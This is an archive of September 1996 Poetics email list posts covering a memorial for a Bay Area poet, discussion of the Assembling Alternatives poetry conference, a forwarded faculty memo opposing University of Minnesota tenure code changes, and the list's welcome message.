I (Dodie) met Dan in the mid-80s (actually got to know him, since I'd seen him around) at the UCSF medical center where I was a temp secretary and he was coming frequently for follow-up for his heart surgery. He and I spend many an evening together discussing writing, living, music, art (and drugs). We were both avid about Messiaen's "Quartet for the End of Time" and sometimes we'd shut up long enough to listen to it at his apartment on Haight Street. I've never seen anyone live more grandly on a fixed income than Dan--he was amazing. Bringing home castoff clothing from the Salvation Army, dyeing them black, and cutting such a dashing figure. At that time Dan hadn't published much, but shortly afterward he became an important figure in the Bay Area writing scene, writing, giving readings, curating series. He taught an after-school program for small children at Small Press Traffic when it was still on 24th Street.

I (Kevin) remember Dan always in the audience at every kind of poetry reading you could imagine, always with his own determined take on things. Perhaps because he came to poetry late, he was burning up with poetry fever, and he could be exhausting in his naked need to know more. And because he had this plastic heart valve he often thought of himself as not having much time. He was generous to a wide variety of young writers and attentive to his elders. I was glad to be able to write a "blurb" for his first book "Product." In recent years I didn't see him around much. Couldn't figure it out. The last reading I saw him give was with Bob Perelman at New Langton Arts, and when was that? At least 2 years ago. He shied away from all the events he used to shine at. Last month when Anselm Berrigan and Katie Lederer left for parts East, Dan came to the

party for them--still Byronic, still dashing, but gray, gray.... and he and I talked then about this and that. God! The ironic thing is that he was scheduled to participate in the "Proliferation 3" reading Dodie and Mary Burger are holding at Small Press Traffic this coming Friday (the 13th). And now their plans are to make it into some kind of memorial in his honor, I guess.

Sorry to fill up the bandwidth with all this info about Dan and us, but as you can see, we have the kind of grief that's hard to take hold of and make sense of--a grief not unmixed with guilt. I know that the book Dan wrote with Tom Mandel is coming out soon, the collaboration from Poets and Potes Press of which he was so pleased and so proud. That's something, tho' right now I don't know what.

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181. Romana Christina Huk
Assembling Alternatives
Sun 8 Sep 1996

On Fri., 6 Sep 1996, Marjorie Perloff wrote:

> *Romana (and others)--I think you're absolutely right and I wasn't "totally negative" at all, just raising some key issues. You're right that the real subject was meant to be, should have been, what made some of these poetries "alternative." But do you feel we really discussed how, why, where, when they were alternative?*
>
> *What IS the difference between say, Paul Muldoon, Eavan Boland, Medh Megkukian (can't spell right?) and the Irish poets at the conference? This is not a rhetorical question--I would honestly like to know.*
>
> *And where do US/ UK poetries come together, diverge, etc? I hope we keep that ball rolling.*

Thanks, Marjorie, for these questions, which I think are key; I'll start the ball rolling with some responses from my perspective and hope that others (especially those who know the Irish scene better than I) will take it up.

(And no, I _don't_ think we got enough chance to really discuss these things at the conference; I'm grieved that I couldn't make the event be what I'd hoped it would be -- a real exchange between poets thought to be "alternative" in their various contexts but obviously different from one another given the differing cultural/historical spaces in which they use their English. Maybe now, post-conference, the talk will start....)

The first simple answer to your question about the Irish poets is that those present at the conference are _perceived_ to be ones working outside the powerful publishing houses (Paul, Eavan and Medbh all publish with presses like Oxford, Faber, etc. (though Eavan also works with Carcanet, where ed Michael

Schmidt is beginning to do things like publish Miles Champion and print interviews like the one I did with Denise Riley in his mainstream mag _PN Review_)). James Mays at University College Dublin helped me put together a group of "alternative" poets (James is the one who's probably going to get Susan Howe over to Ireland for a stint at UCD); I already knew the work of Maurice Scully and Catherine Walsh, but the others that came to NH were new to me as well.

I think the differences between Paul Muldoon's work and that of the experimentalists at the conference are less easy to draw than those between Eavan Boland's and Medbh McGuckian's work and the same. That's why I wanted Paul at the conference; he was actually planning to come until family responsibilities persuaded him otherwise. He doesn't think of himself as "experimental" -- wanted me to "name off some of those folk" when I saw him here in NH in the winter -- but I think that poems like "Madoc," which Marjorie mentioned, rely on disjunctive practices and use of language qua language to an extent that the term is helpful. (All that play in "Madoc" with the "epic" of philosophy itself, done by throwing in its way the other disciplines from which it has tried to separate itself -- history, linguistics, even geography....) What interests me, though, is the different imperative in the work that disallows complete disjuncture (or the sort of situation in which the impact of the poem rests wholly in its unmaking and commentary on/foregrounding of language) and instead begins to tease out parallels between imperial, colonial and postcolonial articulations of history. I'm indebted to Clair Wills's fine book on Irish work (_Improprieties_) in my readings of poets like Paul; she makes me wonder whether we can possibly have what Ken Edwards wondered about in a recent post -- "a common politics of poetic form" -- in English-speaking contexts so vastly different, one from the other, in their relationships to language, "community" and political project.

I don't think disjunctive form is the only or even best way to identify an alternative poetry, though it might identify the culture from which it comes. I've just written on Susan Howe's poems as compared to Eavan Boland's and Denise Riley's, arguing that the forms as derived from Olson don't necessarily make her work more "radical" in impact than that of the other two but do tend to make her more vulnerable to _different_ kinds of contradictions and romanticisms embedded in our poetic tradition. The word as thing separated from its discursive environment -- whether that be class or territory of speakers -- seems to get less use in Irish and U.K. work that I know, for differing reasons in each context; the poems often sound less disruptive of syntax but the "alternative" trajectory of their materials should be unmistakable. Getting back to Marjorie's question, I'm not sure I always see it in Medbh's work, as syntactically complex as critics like to describe it as being. (Clair Wills makes a good counterargument to mine in her book.) And Eavan, in poems aside from "Outside History," which I think is

an astonishing piece of work, often seems to operate through a wholly unproblematic relationship to language and its sincere expression of feelings. I can't imagine her writing the first poem that Randolph Healy read, for example; certainly not any read by Maurice Scully or Catherine Walsh (the latter working within what seems an Anglo-American-influenced mode). But I agree with others who have said that perhaps Geoffrey Squires, one of the Irish contingent, seems to be writing in a more conventional fashion, though I could see that what the British critic/poet Harriet Tarlo had to say about "radical landscape" poetry in northern England might force me to revise that opinion. His poem "This," which I tried to help him present, is an interesting piece insofar as it seems to dissolve as you read it -- an intriguing thing to happen in a "landscape" poem -- though its internal contradictions and perceptive angst are still too muted to be caught by a listening audience, I think.

I'm going to stop here and let someone else jump in -- especially on the U.K./U.S. relationship. But I just want to reiterate one thing for all of you who were, like myself, troubled by the lack of racial diversity at the conference (I'm sorry that that sounds like such "universitese"). I had invited as many people as I knew of from the other ethnic groups on this side of the Atlantic (there are only one or two who would call them- selves "experimental" overseas). At the outset, Nate Mackey and Harryette Mullen were part of my "advisory committee"; neither ended up coming, however. I feel badly that I couldn't do a better job of finding people to discuss the issues, which, as those of you who received the information know, were part of the main agenda (under "blindspots and cultural chauvinisms"). I think the problem of reading across cultures should be discussed in tandem with the problem of reading "alternatives" within differing ethnic communities; I'm new to the terrain (though I need to think through the problem of total whiteness in the U.K. experimental community before the MLA conference and the paper I'm supposed to give there!).

Romana Huk

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182. Carnography
Re: Conceptual crit?
Sun 8 Sep 1996

Thomas Bell:

> *the new TRR intro by luigi-bob drake - "literary "canon' is presented as something to be passively accepted, consumed like all the other commodities we poor plebes are expected to blindly buy....in contrast we see the micropress movement is an example of self-determined culture, and a chance for real change."*

What is the difference between fetishizing "The Canon" and fetishizing zine/ small press culture? Either way, one foregrounds the idea that the text is defined not by the reader's experience of it, but rather by its location: by the context of the text's mere *publication*.

Also: Aren't we in a position to renounce, say, Voltaire (deliberately obvious example), precisely because we've grown up privileged enough to have been taught _Candide_? I would not argue that it is my place to deny another student that same privilege: familiarity with a text that is both influential and commonly referred to throughout the history of world literature. (And no, in this context--in the context of literary influence--the fiction of Robert Gluck is not as important historically as the satires of Voltaire.) I would argue that, generally, it is more useful for a student to know Voltaire than it is for h/e/i/r/m to know *my* published work. With all due respect, isn't the fetishization of non-autonomy predicated on an elitist preconception of autonomy in the first place? How did we arrive at this lofty position--to be able to judge for everyone else which work is inherently elitist and which is not?

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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183. maria damon
fwd: umn tenure code revisions
Sun 8 Sep 1996

---

friends: for those of you who've asked for further details, and also because i've been requested to by the folks who are spearheading faculty opposition to the abolition of tenure at the U of MN, i'm forwarding the faculty consultative committee's response to the threat to tenure at the U of MN. it could happen to you too...

bests, maria d

From: Tom Walsh <[redacted]>
Date: Sun, 8 Sep 1996 10:40:54 -0500
To: [redacted]
Subject: National Message

The following email was sent to all University of Minnesota faculty by the chairs of the Senate committess responsible for the Minnesota tenure code. It was sent Friday, September 6, 1996. The mail header has been removed

and a couple of line breaks and tabs have been fixed. Otherwise, it is unchanged.

We are sending this to you for your information. The actual new tenure code can be found in text form at http://mnnt1.hep.umn.edu/ufa/, which will enable you to compare this document with the code.

The new code was developed by the regents together with their consultant Richard Chait and also Martin Michaelson of the Washington, DC firm of Hogan & Hartson. As best we can tell, the code was worked out between June and the release date of September 5. We are not aware of anyone outside this group who knew of the provisions before release.

We regard this code as the prototype of tenure revisions
which other university governing boards will attempt to
impose in coming years. It is therefore of national interest.

Paula Rabinowitz, Department of English
Thomas Walsh, Department of Physics
University Faculty Alliance
University of Minnesota

Dear Colleagues,

Our attempt to reach a compromise on revision of the Tenure Regulations has failed. The Regents have proposed new amendments at their meeting on Thursday. In effect, they have accepted the parts of the Faculty Senate draft in which the faculty made compromises and rejected the parts in which the administration recognized faculty concerns. Far from being a compromise, the new proposal goes well beyond any prior administration proposal.

The Regents have asked that the faculty complete review of their new draft within a month, so that they can take final action on October 10. The draft contains the most substantial changes in tenure policy that have been put forward here in over 50 years. To meet this hectic schedule, the faculty committees will meet in the week of September 16, and the Faculty Senate will meet on the first day of classes, September 26.

The Regents put forward their proposal over President Hasselmo's strenuous opposition. Given the manner in which the proposal was prepared, the extremely limited opportunity for faculty consultation on the draft, and their unwillingness to discuss with us the merits of various proposals, we must conclude that they intend to move forward on this proposal.

At this point, we can only summarize the major parts of the proposal. Other details will be provided later. Major points are:

1. FIRING FACULTY IN CASE OF PROGRAM CHANGE. The proposal eliminates the tenure protection currently available in cases of program change. It provides: --60 days' notice of programmatic change. (There is no other provision for faculty participation in these decisions.) --reassignment or retraining of tenured faculty, unless "in the University's judgment" this would be "not practicable." (Note that it does not require that reassignment or retrainging be "impracticable," but only that the "University's judgment" be such. Give the distinction of the Regents' Washington lawyers who prepared this language, it is apparent that the intent was to exclude any subsequent review of the decision.) --one year's notice of termination be given. --there is no definition of "program," so a single faculty member could be targeted by defining that individual's specialization for elimination.

2. REDUCTIONS IN BASE PAY. The proposal eliminates the guarantee of base pay contained in the current regulations. Instead, it would provide that "Absent reasons found to be compelling by the Board of Regents or its delegate," "it is expected that" base pay would be protected. Again, carefully note the drafting. The first of these clauses does NOT require "compelling reasons" before reducing base pay; it only requires that the administrator STATE that his reasons are compelling. The second clause does not guarantee base salary, but only articulates a general and vague expectation in that regard. The language eliminates any legal claim to base pay.

The language, as drafted, would permit reductions of salary targeted at single individuals. (The statement in the Star-Tribune this morning that such pay cuts could only be imposed on groups of faculty, not on individuals, was apparently based on the oral statements of the Regents' lawyer in describing the plan. An examination of the actual text reveals no such limitation.) Indeed, the new languageprovides no effective protection of salary. The provision also cuts off any review of such issues by the Judicial Committee, even in cases of alleged violation of academic freedom.

3. POST TENURE REVIEW. The post tenure review process has been substantially rewritten. Rather than the remedial process we proposed, seeking to improve the performance of faculty experiencing difficulties, the provision in now primarily punitive in orientation, emphasizing dismissal and salary reduction. It now permits annual 10% salary reductions ad infinitum. Many of the procedural protections have been removed.

4. FACULTY DISCIPLINE. The faculty discipline section represents a radical departure from existing rules. It introduces surprising new language. For example, faculty members may be punished if they do not "maintain . . . a proper attitude of industry and cooperation with others within and without the University community." Discipline, including dismissal may be imposed when

"commonly held standards of conduct" (not further specified) are violated. A new ground for firing a faculty member, "other grave misconduct" is added.

A whole new category of "lesser sanctions" is created, including PAY CUTS (which may be permanent and are not limited in amount) and suspensions from duty. These may be imposed by the administrator after notice and an opportunity to respond, but the discipline "need not involve formal proceedings of any kind." For example, this would authorize a dean to impose a permanent 50% pay cut without a hearing before an impartial body. The Judicial Committee is also excluded from review of these actions, although the faculty member might file a grievance with an outside arbitrator.

5. JUDICIAL COMMITTEE PROCEDURES. Although access to the Judicial Committee has been cut off in many cases--including many possible cases involving academic freedom issues--new major restrictions are imposed upon the operation of the Judicial Committee. These include: --Judicial committee proceedings will be presided over by a law officer, who must not be a faculty member. --The President will no longer be required to respect the Judicial Committee's report and recommendation. The current regulations contain a legal limitation (he can overrule the committee only for "compelling reasons") and a procedural check (he can do so only after meeting with the Judicial Committee). The Regents' draft deletes both provisions, giving the President total freedom to ignore the hearing panel's report. --The new draft permits a dean to suspend a faculty member without pay, in certain circumstances, while a proceeding to dismiss is underway.

* * *

Two other points should be made:

Some of the proposed changes track language in other universities' tenure regulations. But those universities may have long-established practices or other policies that effectively limit the exercise of the power granted by the tenure codes there. If we adopt the bare language of those universities, but not the other limitations that exist there, we will be deviating sharply from the norm. There seems to be no effort to simultaneously adopt the practices of other institutions.

Given the radical nature of these changes, this is not merely an attempt to respond to the Faculty Senate proposals. It seeks to impose a radical changes in the relations of faculty, administration, and Regents. Given the controversy that has been generated, we must assume that the Board intends to exercise fully the powers that they are creating by these changes.

Take these proposals seriously and act accordingly. The Regents intend to act on them on October 10.

Sincerely yours

FRED L. MORRISON, Professor of Law
MARY DEMPSEY, Professor of Biochemistry
VIRGINIA GRAY, Professor of Political Science
ED FOGELMAN, Professor of Political Science
DAN FEENEY, Professor of Small Animal
Clinical Science

Chairs of the respective Faculty Senate Committees

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184. maria damon
Re: Conceptual crit?
Sun 8 Sep 1996

carnography rites:

..to be
able to judge for everyone else which work is inherently elitist
and which is not?

i rite: huh? where in the thread did "inherent elitism" rear its nonsensical head? never mind...i sd i'd retire..just procrastinating on my next project...bests to you, rob xo, md

↑ Index

185. Romana Christina Huk
The Rutgers Conference
Sun 8 Sep 1996

Before I forget, someone asked about the Rutgers conference on "Poetry and the Public Sphere" which I have info. on. It's April 24-27, and the person to call is Nick Yasinski ([redacted]); fax: [redacted].

Romana Huk

↑ Index

186. Christina Fairbank Chirot
poetry & baseball
Sun 8 Sep 1996

re comment using baseball as analogy for "playing it safe" in poetry--

not so for Jack Spicer or Larry Eigner

Eigner early an avid listener to Red Sox games, used baseball statistics as way to develp memory in terms of visualization for doing mat--also for visualizing words--

Summers I was "good to myself"and every day waited for the Red Sox game on the radio--and you wanted the Red Sox to win today and win tomorrow whether they did or din't today . . . . maybe you're surprised when you forget to the extent you depend on memory . . . .

Remember/sabbath days to/keep time still/how multiple . . .

Eigner also listened to radio for Cid Corman's poetry show . . .

Spicer had his radio, too--the poet as radio--often tuned to baseball games--

"getting to first base"--Eigner has book called A Count of Some Things--from Score publications, Crag Hill's press

Spicer:

no telling what happened in this game. Except one didn't strike out. One feels they fielded it badly at second base.
Oceans of wildflowers. Utter logic of the form and color.

"Utter logic"--"speaking in tongues"--visualizing words--

"keep time still/how multiple"

Un coup de des n'abolira jamais le hasard . . . .

dbc

↑ Index

187. **Joe Amato**
Re: fwd: umn tenure code revisions
Sun 8 Sep 1996

---

maria, esp. after reading item 4 (which warrants a collective FUCK YOU to the regents) in conjunction with my rereading of late of _discipline and punish_, sounds an awful lot like the sorts of pressures we've been experiencing here at iit (and with only some success here at mitigating such attempts---the jury is still out on revised tenure & promotion procedures, esp. now that they've eliminated the position of provost on my campus)...

thanx for sending that along, i'll spread it mself through other channels...

best,

joe

↑ Index

188. **John Cayley**

Assembling - General - Respect!

Sun 8 Sep 1996

[I've a number of brief reports/responses I'd like to make, on the conference and to the subsequent discussions, and I've decided to separate them into posts with, hopefully, indicative, relevant subject lines.]

This conference was a wonderful event. Romana Huk should *not* take herself to task for any 'bad organization and lack of experience in running conferences'. AA worked and it worked well. Both those of us fortunate enough to be invited to contribute and those who were provoked or inspired to attend were presented with a full, rich and various programme/art.

If there was insufficient *(formally) framed* discussion, if certain issues/groups/persons went unrepresented, then this is also the responsibility of us others, including those who were not there. In conception and development an agenda seems full of potential; after the meeting we are overwhelmed by the inevitable and arbitrary aspects of 'what actually took place'. I know that Romana worked hard to try and convey to contributors how they might focus on specific issues, but ...

No conference will ever cover the full range of (relevant) concerns which at any one moment engages (even) any one of its participants. So what. No participant ever seems to produce a contribution (or a reading of the papers or talks) that is exactly what is asked/expected of her. So what.

The information:noise / art:noise ratio of this event was, imho, excellent. Perhaps there is little more that can be expected of such a difficult form as the 'conference', and its combination with a 'festival' (art:noise) aspect is still all too rare and valuable.

Romana Huk deserves our heartfelt thanks and deep respect.

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
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http://www.demon.co.uk/eastfield/
< - - - - -

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189. **John Cayley**

Assembling - (Paper)form(alitie)s - (Critics & Poets)

Sun 8 Sep 1996

I'm not sure about this equal time for poets and critics thing, although I absolutely agree that we should all be answerable and that criticism may be as artful and fulfulling as any other form of life. I liked what Romana Huk said in reply, 'I must say that the problem never crossed my mind. I thought: all day to the conference (with an hour and a half for afternoon readings) and all night to the readings. What would have been more fair? Most of the poets coming to the conference felt that they needed to read as well as give papers, so I accommodated them to the extent that I could, never even thinking this might be a problem for the critics.'

Then I think: if giving more/equal time to the critics means having to listen to still more written-papers-read-out-loud (and with them *still* running over their 20 mins, eating into precious [framed] discussion time), then *hold on*. Bring back the Cultural Revolution! and let's institute instead an absolute ban on the ill- or misuse of a lively and flexible medium -- the talk, the lecture, the oration. If we have to listen to even more fine criticism then let's at least agree to leave our papers in our brief cases when we meet and talk face to faces.

Sometimes I can't understand how the reading-of-papers form has survived, unless it is as the most refined example of the internalization of literacy, muting a paralysed orality in the very act of a particular form of utterance. I'm not being logocentric about this (honest). And I understand the need both to defend oneself against the fear of uncertain, indeterminate exposure, and to display the pleasures and refinements of a considered literacy (as in most of the poetry we heard _read_), but so much potential seems to be swept aside by the relentless eyes-down read-through.

Some of the speakers (poets mostly I think) made gestural, performative (see subject line: 'Assembling - Appreciations - Issues') reference to this (perennial) problem -- cris cheek and, as Bill L. mentioned, Fiona Templeton as she (literally) undressed the panel-bearing table (which Steve McC. later reclad and regendered).

If 'genres are fluid, hybrid, etc. etc.' (M.P.) and the work of poets and critics share the same spaces, then at least let's continue to problematize the singularly lifeless pseudo-orality of the 'read paper'.

- - - - - >

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190. **John Cayley**

Assembling - Appreciations - Issues

Sun 8 Sep 1996

Suddenly, it seems invidious to do what I first considered: to go through the programme and pick out those papers or readings which struck me. I got something from nearly everything I attended (and it was impossible, sadly, to attend everything), especially since I still consider myself a 'sometime' or 'amateur' reader of this work. And there seems little real benefit in reiterating a sense of the greatness of what we mostly agree is great.

So pick out, instead, some work/issues which relate closely to your/our specific concerns which might not otherwise have received some attentions they deserve.

This isn't true of - the first plenary session, esp. Peter Middleton and Keith Tuma, which addressed a central concern of the conference: the differing 'contexts/histories/localities/institutions' of alternative poetries in (primarily) the UK and US. I can't, don't dare attempt to summarize Middleton or Tuma in a couple of sentences. I hardly dare to speak openly, or to align myself anywhichhow. After, all, I write from UKania (see Middleton). But I understand myself a little better, and can see how life might be lived 'elsewhere'. If for no other reason the conference succeeded because many participants did raise, address and discuss - formally and informally - these issues, an explicit aim of the organizers.

- The fine reading of post-Mao poetry from mainland China and its contexts by Jeff Twitchell-Waas, along with the spectacular readings of particular works of so-called Chinese 'language' poets (and in a separate, second paper [critical over-compensation foul!?] a couple of well-known North American 'language' luminaries) by Ming-Qian Ma. The Chinese stuff is a special, quasi-professional interest of my own and came as unexpected bonus in the AA context (in which I particiapated for other reasons). Neither speaker addressed the question, but I now wonder whether/how the inclusion of papers on contemporary Chinese poetry, and the presence of a fine Chinese critic, serves to balance some of the remarks/criticisms raised (in the conference's 'postcolonial' moments) about the apparent failure of AA to embrace conspicuously absent alternative poetries. And I answer myself: it doesn't seem to? Why don't we see the inclusion/exclusion of Chinese poetry as a race/identity issue? Why isn't Chinese poetry black poetry? Is it because, as the translator Arthur Cooper put it, the Chinese are

'the other Greeks'? Because theirs is *the* other imperial culture, such that we entertain an absolute disregard and an absolute reverence for Chinese culture *at one and the same time*? Our subordinating/post-colonizing racism seems to dissolve or get lost in the orientalism we project onto Chinese culture as it is reflected back to us - instaneously - as occidentalism. There is something of critical/political importance in this which I/we/they/you must think about.

- The opportunity to meet and talk with other poets (Jim Rosenberg, Loss Glazier, Chris Funkhouser) working in/with electronic media. A confirmation of the sense that the poetics we may encounter or develop 'beyond codexspace' relate strongly to the poetics of the writing which was well represented at the conference, or as Loss Glazier has already put it so well (his caps), 'the formal issues about writing at the heart of experimental poetries ARE THE SAME ISSUES being explored by the literary electronic media.'

- Finally, and most interestingly to me, I came away from the conference, unexpectedly, with a new sense of the centrality of performance, performance writing, writing as performance. So many of the finest readers were reading-performance (Retallack, Scalapino, Spahr, Robertson, Harryman, Bergvall, Templeton, and/or in a direct-(gendered)-speed-voice-embodied-linkage of language/performance: Raworth, Champion). Because, perhaps, concerns shared in performance might allow the uncompromising inclusion of those absent other alternatives (?in the same sort of way that language poetry has been able to [unexpectedly?] ally/align itself with sound/concrete/visual precursors and colleagues). Because performance also characterizes qualities of the performative (and even, in a strictly *limited* sense 'interactive') literacy which is made possible or accessible by electronic media, leading to

- the performance of literary objects
  (themselves).

- - - - - >

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http://www.demon.co.uk/eastfield/

< - - - - -

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191. Tony Green
Re: UNH Again
Sun 8 Sep 1996

Dear Alan Golding, Still awake at the end and wondering was that, in there, DAVID Bromide at the conference? best

Tony Green,
e-mail: [redacted]

↑ Index

192. George Bowering
Re: "Poets vs. Critics"
Sun 8 Sep 1996

> *George Bowering added ("I'm more into...")*
>
> *damon writes:*
>
> *But more to the point, haven't we learned anything from the last 30 years of theory? do we really still have to fetishize "actual texts"*
>
> *Personally, they're my favorite, next to rubber clothing and satin shoes with spike heels!*
>
> *Kinkily,*
> *Mike*
> [redacted]
>
> *I'm more into handcuffs and Charles Reznikoff poems.*
>
> *That's what he says for public consumption, but stripped down I hear it's all lacy underthings and Adelaide Crapsey.*
>
> *Rachel*

Not really lacy, but they have to be well-made, and of superior quality. I was taught this by Mark Wallace.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

193. George Bowering
Re: poet, critic, he loves me, he loves me not
Sun 8 Sep 1996

> *Reading Emerson's "The Poet"--the very first sentence contains the spectacular phrase "esteemed umpires of taste"--*
>
> *so what do you gotta do to get to first base?*
>
> *Gwyn*

Well, if it's with me, just buy me a pastrami sandwich and get me a little drunk on belgian beer.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

194. Tony Green
Re: poet, critic, & umpire
Sun 8 Sep 1996

Judy Roitman's assumption about umpires that they are for base- or sfot- ball shd not so lightly disregard the possibility of Emersonian cricket. best

Tony Green,
e-mail: [redacted]

↑ Index

195. maria damon
Re: fwd: umn tenure code revisions
Sun 8 Sep 1996

---

joe a writes:
> maria, esp. after reading item 4 (which warrants a collective FUCK YOU to
> the regents) in conjunction with my rereading of late of _discipline and
> punish_, sounds an awful lot like the sorts of pressures we've been
> experiencing here at iit (and with only some success here at mitigating
> such attempts---the jury is still out on revised tenure & promotion
> procedures, esp. now that they've eliminated the position of provost on my

> campus)...
>
> thanx for sending that along, i'll spread it mself through other channels...
>
yeah, thanks you, joe, sorry all for co-opting the precious list-space for matters decidedly unpoetic, but if you'd all just forward the msg to all the other lists yr on i'd be most grateful, or to administrators at your respective institutions, so we can get some censure of these folks going...and then not another word from me on the subject, i promise.bests, md

↑ Index

196. **Thomas Bell**

Re: Conceptual crit? fetish?

Mon 9 Sep 1996

Ron, The problem may be with my elipses obscuring the quote, but I take _passively accepted, consumed_ to be the operative words so that zines could as you say become a fetish, but as lbd says, this is an example of a self-determined culture, not _the_ self-determined culture, no? all the best tom

At 04:21 PM 9/8/96 -0400, Carnography wrote:
>Thomas Bell:
>
>> the new TRR intro by luigi-bob drake - "literary "canon' is presented as
>> something to be passively accepted, consumed like all the other commodi-
ties
>> we poor plebes are expected to blindly buy....in contrast we see the
>> micropress movement is an example of self-determined culture, and a
chance
>> for real change."
>
>What is the difference between fetishizing "The Canon" and fetishizing zine/
>small press culture? Either way, one foregrounds the idea that the text
>is defined not by the reader's experience of it, but rather by its location:
>by the context of the text's mere *publication*.
>
>Also: Aren't we in a position to renounce, say, Voltaire (deliberately
>obvious example), precisely because we've grown up privileged enough
>to have been taught _Candide_? I would not argue that it is my place
>to deny another student that same privilege: familiarity with a text
>that is both influential and commonly referred to throughout the history
>of world literature. (And no, in this context--in the context of literary
>influence--the fiction of Robert Gluck is not as important historically

>as the satires of Voltaire.) I would argue that, generally, it is more
>useful for a student to know Voltaire than it is for h/e/i/r/m to know
>*my* published work. With all due respect, isn't the fetishization
>of non-autonomy predicated on an elitist preconception of autonomy
>in the first place? How did we arrive at this lofty position--to be
>able to judge for everyone else which work is inherently elitist
>and which is not?
>
>All the best,
>
>Rob Hardin
>
>http://www.interport.net/~scrypt
>
>

↑ Index

197. **Marjorie Perloff**

Re: POETICS Digest - 7 Sep 1996 to 8 Sep 1996

Mon 9 Sep 1996

Romana's analysis of the Irish situation is extremely helpful! Thanks, Romana, I hope you'll write more on this topic. Your commentary really explained a lot. I know a little bit about the attempt to bridge the gap from Michael Schmidt at PN Review but now I know more.

Marjorie Perloff

↑ Index

198. **George Bowering**

Re: poet, critic, & umpire

Mon 9 Sep 1996

> *Judy Roitman's assumption about umpires that they are for base- or sfot- ball shd not so lightly disregard the possibility of Emersonian cricket. best*
>
> *Tony Green,*
> *e-mail:* [redacted]

What the heck is Emersonian Cricket?

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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199. Poetics List

Welcome Message

Mon 9 Sep 1996

Because there are so many new people on this list, I thought we should replay an old favorite. FYI: as of this morning there are 401 subscribers to this list. --jk

---

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Who's Subscribed
4. Digest Option
5. When you'll be away
6. The Electronic Poetry Center (EPC)
7. Poetics Archives at EPC
8. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of

the list small and the volume manageable. Word-of-mouth (and its electronic equivalents) seems to be working fine.

The "list owner" of Poetics is Charles Bernstein: contact me for further information. As of May, Joel Kuszai is working with me to administer the list. For subscription information contact us at [redacted]

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at sharewar sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message:

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 7 below.)

---

6. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives,

an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

7. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

8. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication

and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

200. Gwyn McVay
Re: poet, critic, & umpire
Mon 9 Sep 1996

George, Emersonian Cricket is when you hit the ball with the paddle hard enough to awaken it to the beauty of nature and the transcendental world beyond this one. In this way it vaguely resembles Zen Lacrosse.

